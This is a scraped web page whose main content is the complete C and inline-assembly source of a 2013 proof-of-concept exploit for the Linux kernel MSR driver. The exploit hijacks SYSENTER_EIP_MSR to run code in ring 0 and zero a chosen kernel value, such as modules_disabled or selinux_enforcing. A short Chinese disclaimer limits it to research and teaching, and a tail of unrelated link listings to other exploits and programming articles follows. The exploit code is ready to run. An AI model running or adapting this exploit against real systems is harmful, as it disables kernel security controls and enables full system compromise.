Linux Kernel 'MSR' Driver Local Privilege Escalation
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
- // can do whatever in the commented area, re-enable module support, etc
- // requires CONFIG_X86_MSR and just uid 0
- // a small race exists between the time when the MSR is written to the first
- // time and when we issue our sysenter
- // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
- // configured to take a hex arg of a dword pointer to set to 0
- // (modules_disabled, selinux_enforcing, take your pick)
- //
- // Hello to Red Hat, who has shown yet again to not care until a
- // public exploit is released. Not even a bugtraq entry existed in
- // their system until this was published -- and they have a paid team
- // of how many?
- // It's not as if I didn't mention the problem and existence of an easy
- // exploit multiple times prior:
- // https://twitter.com/grsecurity/status/298977370776432640
- // https://twitter.com/grsecurity/status/297365303095078912
- // https://twitter.com/grsecurity/status/297189488638181376
- // https://twitter.com/grsecurity/status/297030133628416000
- // https://twitter.com/grsecurity/status/297029470072745984
- // https://twitter.com/grsecurity/status/297028324134359041
- //
- // spender 2013
- #define _GNU_SOURCE
- #include<stdio.h>
- #include<sched.h>
- #include<unistd.h>
- #include<sys/types.h>
- #include<sys/stat.h>
- #include<fcntl.h>
- #include<stdlib.h>
- #include<sys/time.h>
- #include<sys/resource.h>
- #include<sys/mman.h>
- #define SYSENTER_EIP_MSR 0x176
- u_int64_t msr;
- unsignedlong ourstack[65536];
- u_int64_t payload_data[16];
- externvoid*_ring0;
- externvoid*_ring0_end;
- void ring0(void)
- {
- __asm volatile(".globl _ring0\n"
- "_ring0:\n"
- ".intel_syntax noprefix\n"
- ".code64\n"
- // set up stack pointer with 'ourstack'
- "mov esp, ecx\n"
- // save registers, contains the original MSR value
- "push rax\n"
- "push rbx\n"
- "push rcx\n"
- "push rdx\n"
- // play with the kernel here with interrupts disabled!
- "mov rcx, qword ptr [rbx+8]\n"
- "test rcx, rcx\n"
- "jz skip_write\n"
- "mov dword ptr [rcx], 0\n"
- "skip_write:\n"
- // restore MSR value before returning
- "mov ecx, 0x176\n"// SYSENTER_EIP_MSR
- "mov eax, dword ptr [rbx]\n"
- "mov edx, dword ptr [rbx+4]\n"
- "wrmsr\n"
- "pop rdx\n"
- "pop rcx\n"
- "pop rbx\n"
- "pop rax\n"
- "sti\n"
- "sysexit\n"
- ".code32\n"
- ".att_syntax prefix\n"
- ".global _ring0_end\n"
- "_ring0_end:\n"
- );
- }
- unsignedlong saved_stack;
- int main(int argc,char*argv[])
- {
- cpu_set_tset;
- int msr_fd;
- int ret;
- u_int64_t new_msr;
- struct sched_param sched;
- u_int64_t resolved_addr =0ULL;
- if(argc ==2)
- resolved_addr = strtoull(argv[1], NULL,16);
- /* can do this without privilege */
- mlock(_ring0,(unsignedlong)_ring0_end -(unsignedlong)_ring0);
- mlock(&payload_data,sizeof(payload_data));
- CPU_ZERO(&set);
- CPU_SET(0,&set);
- sched.sched_priority =99;
- ret = sched_setscheduler(0, SCHED_FIFO,&sched);
- if(ret){
- fprintf(stderr,"Unable to set priority.\n");
- exit(1);
- }
- ret = sched_setaffinity(0,sizeof(cpu_set_t),&set);
- if(ret){
- fprintf(stderr,"Unable to set affinity.\n");
- exit(1);
- }
- msr_fd = open("/dev/cpu/0/msr", O_RDWR);
- if(msr_fd <0){
- msr_fd = open("/dev/msr0", O_RDWR);
- if(msr_fd <0){
- fprintf(stderr,"Unable to open /dev/cpu/0/msr\n");
- exit(1);
- }
- }
- lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
- ret = read(msr_fd,&msr,sizeof(msr));
- if(ret !=sizeof(msr)){
- fprintf(stderr,"Unable to read /dev/cpu/0/msr\n");
- exit(1);
- }
- // stuff some addresses in a buffer whose address we
- // pass to the "kernel" via register
- payload_data[0]= msr;
- payload_data[1]= resolved_addr;
- printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
- fflush(stdout);
- lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
- new_msr =(u_int64_t)(unsignedlong)&_ring0;
- printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
- fflush(stdout);
- ret = write(msr_fd,&new_msr,sizeof(new_msr));
- if(ret !=sizeof(new_msr)){
- fprintf(stderr,"Unable to modify /dev/cpu/0/msr\n");
- exit(1);
- }
- __asm volatile(
- ".intel_syntax noprefix\n"
- ".code32\n"
- "mov saved_stack, esp\n"
- "lea ecx, ourstack\n"
- "lea edx, label2\n"
- "lea ebx, payload_data\n"
- "sysenter\n"
- "label2:\n"
- "mov esp, saved_stack\n"
- ".att_syntax prefix\n"
- );
- printf("Success.\n");
- return0;
- }
Linux Kernel 'MSR' Driver Local Privilege Escalation的更多相关文章
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- Linux kernel AACRAID Driver Compat IOCTL 本地安全绕过漏洞
漏洞名称: Linux kernel AACRAID Driver Compat IOCTL 本地安全绕过漏洞 CNNVD编号: CNNVD-201311-390 发布时间: 2013-11-29 更 ...
- [转]Mac OS X local privilege escalation (IOBluetoothFamily)
Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...
- Linux Kernel ---- PCI Driver 分析
自己笔记使用. Kernel 版本 4.15.0 (ubuntu 18.04,intel skylake) 最近想学习VGA驱动去了解 DDCCP / EDID 等协议,然后顺便了解下驱动是如何工作的 ...
- [EXP]Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)
#include "stdafx.h" #include <Windows.h> #include "resource.h" void DropRe ...
- OSCP Learning Notes - Privilege Escalation
Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- Linux Kernel - Debug Guide (Linux内核调试指南 )
http://blog.csdn.net/blizmax6/article/details/6747601 linux内核调试指南 一些前言 作者前言 知识从哪里来 为什么撰写本文档 为什么需要汇编级 ...
随机推荐
- eclipse删除空行
1.打开源码编辑器 2.使用快捷键Ctrl+f 3.在Find输入框中输入:^\s*\n 4.Replace With输入框的值为空 5.在[Options]选中的"Regular expr ...
- js中offsetHeight、clientHeight、scrollHeight等相关属性区分总结
今天再次遇到了offset***.client***.scroll***的这三类属性的问题,总是混淆,现归纳总结如下: 大体上来说可以这样理解: client***属性(clientWidth.cli ...
- clearTimeout(timeoutfunc) 是否有必要执行
当使用 setTimeout() 方法的时候,是否必须执行 clearTimeout() ? 在 setTimeout() 内的函数执行之前,如果想要阻止执行该方法,是有必要执行 cleartTime ...
- Codeforces 570D - Tree Requests【树形转线性,前缀和】
http://codeforces.com/contest/570/problem/D 给一棵有根树(50w个点)(指定根是1号节点),每个点上有一个小写字母,然后有最多50w个询问,每个询问给出x和 ...
- python版本简历
- C#中区别多态、重载、重写的概念和语法结构
C#中区别多态.重载.重写的概念和语法结构 重写是指重写基类的方法,在基类中的方法必须有修饰符virtual,而在子类的方法中必须指明override. 格式: 基类中: public virtual ...
- CoreBluetooth
Core Bluetooth的基本常识 每个蓝牙4.0设备都是通过服务(Service)和特征(Characteristic)来展示自己的 一个设备必然包含一个或多个服务,每个服务下面又包含若干个特征 ...
- php输出echo、print、print_r、printf、sprintf、var_dump的区别比较
本篇文章是对php输出echo.print.print_r.printf.sprintf.var_dump的区别进行了详细的分析介绍,需要的朋友参考下 用.net开发已经5年了,最近突然想接触 ...
- Debug your C# project more efficiently
I am a very beginner working with C# and Visual Studio 2013. When I debug my project, I always reope ...
- DX笔记之一---Direct3D基础
一.预备知识 1.表面 表面就是Direct3D用于储存2D图像数据的一个像素矩阵.width和height以像素为单位,pitch以字节单位,用接口IDirect3DSurface来描述表面 Loc ...